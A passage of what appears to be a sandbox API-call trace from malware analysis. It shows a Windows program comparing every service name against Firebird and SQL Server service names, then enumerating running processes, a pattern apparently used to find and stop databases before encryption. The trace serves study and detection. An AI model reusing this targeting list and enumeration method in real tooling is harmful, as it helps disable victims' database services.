	[0085.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0085.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0085.420] lstrlenW (lpString="AppXSvc") returned 7
	[0085.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0085.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0085.420] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0085.420] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0085.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0085.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0085.420] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0085.420] lstrlenW (lpString="Audiosrv") returned 8
	[0085.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0085.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0085.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0085.420] lstrlenW (lpString="BFE") returned 3
	[0085.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0085.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0085.420] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0085.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0085.420] lstrlenW (lpString="BITS") returned 4
	[0085.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0085.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0085.421] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0085.421] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0085.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0085.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0085.421] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0085.421] lstrlenW (lpString="CDPSvc") returned 6
	[0085.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0085.421] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0085.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0085.421] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0085.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0085.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0085.421] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0085.421] lstrlenW (lpString="CryptSvc") returned 8
	[0085.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0085.421] lstrlenW (lpString="DcomLaunch") returned 10
	[0085.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0085.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0085.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0085.422] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0085.422] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0085.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0085.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0085.422] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0085.422] lstrlenW (lpString="Dhcp") returned 4
	[0085.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0085.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0085.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0085.422] lstrlenW (lpString="Dnscache") returned 8
	[0085.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0085.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0085.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0085.422] lstrlenW (lpString="DoSvc") returned 5
	[0085.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0085.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0085.422] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0085.422] lstrlenW (lpString="DPS") returned 3
	[0085.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0085.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0085.422] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0085.422] lstrlenW (lpString="DusmSvc") returned 7
	[0085.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0085.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0085.422] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0085.422] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0085.423] lstrlenW (lpString="EventLog") returned 8
	[0085.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0085.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0085.423] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0085.423] lstrlenW (lpString="EventSystem") returned 11
	[0085.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0085.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0085.423] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0085.423] lstrlenW (lpString="FontCache") returned 9
	[0085.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0085.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0085.423] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0085.423] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0085.423] lstrlenW (lpString="gpsvc") returned 5
	[0085.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0085.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0085.423] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0085.423] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0085.423] lstrlenW (lpString="iphlpsvc") returned 8
	[0085.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0085.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0085.423] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0085.423] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0085.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0085.423] lstrlenW (lpString="KeyIso") returned 6
	[0085.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0085.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0085.423] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0085.423] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0085.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0085.424] lstrlenW (lpString="LanmanServer") returned 12
	[0085.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0085.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0085.424] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0085.424] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0085.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0085.424] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0085.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0085.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0085.424] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0085.424] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0085.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0085.424] lstrlenW (lpString="lfsvc") returned 5
	[0085.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0085.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0085.424] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0085.424] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0085.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0085.424] lstrlenW (lpString="lmhosts") returned 7
	[0085.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0085.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0085.424] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0085.424] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0085.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0085.424] lstrlenW (lpString="LSM") returned 3
	[0085.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0085.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0085.424] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0085.424] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0085.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0085.424] lstrlenW (lpString="MapsBroker") returned 10
	[0085.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0085.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0085.424] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0085.424] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0085.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0085.425] lstrlenW (lpString="MpsSvc") returned 6
	[0085.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0085.425] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0085.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0085.425] lstrlenW (lpString="NcbService") returned 10
	[0085.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0085.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0085.425] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0085.425] lstrlenW (lpString="netprofm") returned 8
	[0085.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0085.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0085.425] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0085.425] lstrlenW (lpString="NlaSvc") returned 6
	[0085.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0085.425] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0085.425] lstrlenW (lpString="nsi") returned 3
	[0085.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0085.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0085.425] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0085.425] lstrlenW (lpString="PcaSvc") returned 6
	[0085.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0085.425] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0085.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0085.426] lstrlenW (lpString="PlugPlay") returned 8
	[0085.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0085.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0085.426] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0085.426] lstrlenW (lpString="Power") returned 5
	[0085.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0085.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0085.426] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0085.426] lstrlenW (lpString="ProfSvc") returned 7
	[0085.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0085.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0085.426] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0085.426] lstrlenW (lpString="RpcEptMapper") returned 12
	[0085.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0085.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0085.426] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0085.426] lstrlenW (lpString="RpcSs") returned 5
	[0085.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0085.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0085.426] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0085.426] lstrlenW (lpString="SamSs") returned 5
	[0085.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0085.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0085.426] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0085.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0085.427] lstrlenW (lpString="Schedule") returned 8
	[0085.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0085.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0085.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0085.427] lstrlenW (lpString="SecurityHealthService") returned 21
	[0085.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0085.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0085.427] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0085.427] lstrlenW (lpString="SENS") returned 4
	[0085.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0085.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0085.427] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0085.427] lstrlenW (lpString="ShellHWDetection") returned 16
	[0085.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0085.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0085.427] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0085.427] lstrlenW (lpString="Spooler") returned 7
	[0085.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0085.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0085.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0085.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0085.427] lstrlenW (lpString="SSDPSRV") returned 7
	[0085.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0085.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0085.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0085.966] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0085.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0085.966] lstrlenW (lpString="StateRepository") returned 15
	[0085.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0085.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0085.966] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0085.966] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0085.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0085.966] lstrlenW (lpString="SysMain") returned 7
	[0085.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0085.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0085.966] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0085.966] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0085.967] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x32b4288 | out: hHeap=0x720000) returned 1
	[0085.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360
	[0085.975] Process32FirstW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0085.976] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0085.976] lstrlenW (lpString="System") returned 6
	[0085.976] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0085.977] lstrlenW (lpString="smss.exe") returned 8
	[0085.977] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0085.977] lstrlenW (lpString="csrss.exe") returned 9
	[0085.977] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0085.978] lstrlenW (lpString="wininit.exe") returned 11
	[0085.978] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0085.978] lstrlenW (lpString="csrss.exe") returned 9
